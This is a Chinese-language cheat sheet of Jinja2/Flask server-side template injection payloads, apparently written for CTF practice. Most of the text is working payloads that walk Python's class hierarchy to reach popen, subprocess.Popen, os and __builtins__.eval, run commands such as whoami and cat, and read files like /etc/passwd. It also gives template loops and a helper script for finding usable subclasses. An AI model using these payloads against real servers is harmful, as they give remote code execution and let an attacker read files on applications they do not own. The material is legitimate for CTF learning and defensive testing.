首先找到漏洞存在点
输出所有类。
{{().__class__.__bases__[0].__subclasses__()}}
在子类列表中找到可以getshell的类/记住一些常见的可以getshell的函数。
1、有popen()的类
os._wrap_close
payload:
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
subprocess.Popen
payload:
?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}
?search={{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}
2、有os模块的
socket._socketobject(一般在71)、site._Printer等模块
payload:
{{[].__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen(cat /xxx/flag)}}
{{[].__class__.__bases__[0].__subclasses__()[127].__init__['__glo'+'bals__']['os'].popen('whoami').read()}}
3、有builtins的类
__ builtins __代码执行(最常用的方法)
warnings.catch_warnings含有,常用的还有email.header._ValueFormatter
__ builtins __ 是一个包含了大量内置函数的一个模块,我们平时用python的时候之所以可以直接使用一些函数比如abs,max,就是因为__ builtins __ 这类模块在Python启动时为我们导入了,可以使用dir(__ builtins __ )来查看调用方法的列表,然后可以发现__ builtins __ 下有eval,__ import __等的函数,因此可以利用此来执行命令。
{{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")}}
{{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
{{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}
{{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
模板跑循环
{% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("whoami").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
读取文件payload
{% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
warnings.catch_warnings类在在内部定义了_module=sys.modules[‘warnings’],然后warnings模块包含有__builtins__,也就是说如果可以找到warnings.catch_warnings类,则可以不使用globals,payload如下
{{''.__class__.__mro__[1].__subclasses__()[40]()._module.__builtins__['__import__']("os").popen('whoami').read()}}
总而言之,原理都是先找到含有__builtins__的类,然后再进一步利用
常用脚本:
我们首先把所有的子类列举出来
然后把子类列表放进下面脚本中的a中,然后寻找os._wrap_close这个类
import json a = """,..., """ num = 0 allList = [] result = "" for i in a: if i == ">": result += i allList.append(result) result = "" elif i == "n" or i == ",": continue else: result += i for k,v in enumerate(allList): if "os._wrap_close" in v: print(str(k)+"--->"+v)



